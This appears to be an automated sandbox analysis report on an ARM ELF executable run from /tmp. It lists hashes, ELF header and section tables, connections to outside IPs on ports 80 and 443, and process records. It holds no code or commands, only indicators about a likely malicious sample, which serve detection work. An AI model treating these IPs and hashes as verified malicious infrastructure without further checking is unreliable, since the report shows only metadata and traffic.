                                                              TLSH:B524FA47A951CF12D1C211FAFE5E418D37136FB8D2EE31129D246FA477868EB0E3A116
                                                              File Content Preview:.ELF..............(.........4....0......4. ...(........p.....J...J.................................. ... ...........................lH..............Q.td..................................-...L..................G.F.G.F.G.F.G.F G.F(G.F0G.F8G.F@G.FHG.FPG.FXG.

                                                              ELF header

                                                              Class:ELF32
                                                              Data:2's complement, little endian
                                                              Version:1 (current)
                                                              Machine:ARM
                                                              Version Number:0x1
                                                              Type:EXEC (Executable file)
                                                              OS/ABI:UNIX - System V
                                                              ABI Version:0
                                                              Entry Point Address:0x81b0
                                                              Flags:0x4000002
                                                              ELF Header Size:52
                                                              Program Header Offset:52
                                                              Program Header Size:32
                                                              Number of Program Headers:4
                                                              Section Header Offset:209028
                                                              Section Header Size:40
                                                              Number of Section Headers:18
                                                              Header String Table Index:17
                                                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                              NULL0x00x00x00x00x0000
                                                              .initPROGBITS0x80b40xb40x100x00x6AX004
                                                              .textPROGBITS0x80d00xd00x28cf80x00x6AX0016
                                                              .finiPROGBITS0x30dc80x28dc80x100x00x6AX004
                                                              .rodataPROGBITS0x30dd80x28dd80x3c200x00x2A008
                                                              .ARM.extabPROGBITS0x349f80x2c9f80x180x00x2A004
                                                              .ARM.exidxARM_EXIDX0x34a100x2ca100x100x00x82AL204
                                                              .eh_framePROGBITS0x3d0000x2d0000x40x00x3WA004
                                                              .init_arrayINIT_ARRAY0x3d0040x2d0040x80x00x3WA004
                                                              .fini_arrayFINI_ARRAY0x3d00c0x2d00c0x40x00x3WA004
                                                              .jcrPROGBITS0x3d0100x2d0100x40x00x3WA004
                                                              .data.rel.roPROGBITS0x3d0140x2d0140x900x00x3WA004
                                                              .gotPROGBITS0x3d0a40x2d0a40x11c0x40x3WA004
                                                              .dataPROGBITS0x3d1c00x2d1c00x46ac0x00x3WA0032
                                                              .bssNOBITS0x418700x3186c0x66a80x00x3WA008
                                                              .commentPROGBITS0x00x3186c0x176e0x00x0001
                                                              .ARM.attributesARM_ATTRIBUTES0x00x32fda0x100x00x0001
                                                              .shstrtabSTRTAB0x00x32fea0x980x00x0001
                                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                              EXIDX0x2ca100x34a100x34a100x100x102.75000x4R 0x4.ARM.exidx
                                                              LOAD0x00x80000x80000x2ca200x2ca206.13870x5R E0x8000.init .text .fini .rodata .ARM.extab .ARM.exidx
                                                              LOAD0x2d0000x3d0000x3d0000x486c0xaf180.49170x6RW 0x8000.eh_frame .init_array .fini_array .jcr .data.rel.ro .got .data .bss
                                                              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Oct 20, 2024 19:56:51.427561998 CEST43928443192.168.2.2391.189.91.42
                                                              Oct 20, 2024 19:56:56.802933931 CEST42836443192.168.2.2391.189.91.43
                                                              Oct 20, 2024 19:56:58.082653046 CEST4251680192.168.2.23109.202.202.202
                                                              Oct 20, 2024 19:57:12.672683954 CEST43928443192.168.2.2391.189.91.42
                                                              Oct 20, 2024 19:57:22.911267042 CEST42836443192.168.2.2391.189.91.43
                                                              Oct 20, 2024 19:57:29.054322004 CEST4251680192.168.2.23109.202.202.202
                                                              Oct 20, 2024 19:57:53.626976013 CEST43928443192.168.2.2391.189.91.42
                                                              Oct 20, 2024 19:58:14.104054928 CEST42836443192.168.2.2391.189.91.43

                                                              System Behavior

                                                              Start time (UTC):17:56:49
                                                              Start date (UTC):20/10/2024
                                                              Path:/tmp/bin.armv6l.elf
                                                              Arguments:/tmp/bin.armv6l.elf
                                                              File size:4956856 bytes
                                                              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                              Start time (UTC):17:56:50
                                                              Start date (UTC):20/10/2024
                                                              Path:/tmp/bin.armv6l.elf
                                                              Arguments:-
                                                              File size:4956856 bytes
                                                              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                              Start time (UTC):17:56:50
                                                              Start date (UTC):20/10/2024
                                                              Path:/tmp/bin.armv6l.elf
                                                              Arguments:-
                                                              File size:4956856 bytes
                                                              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1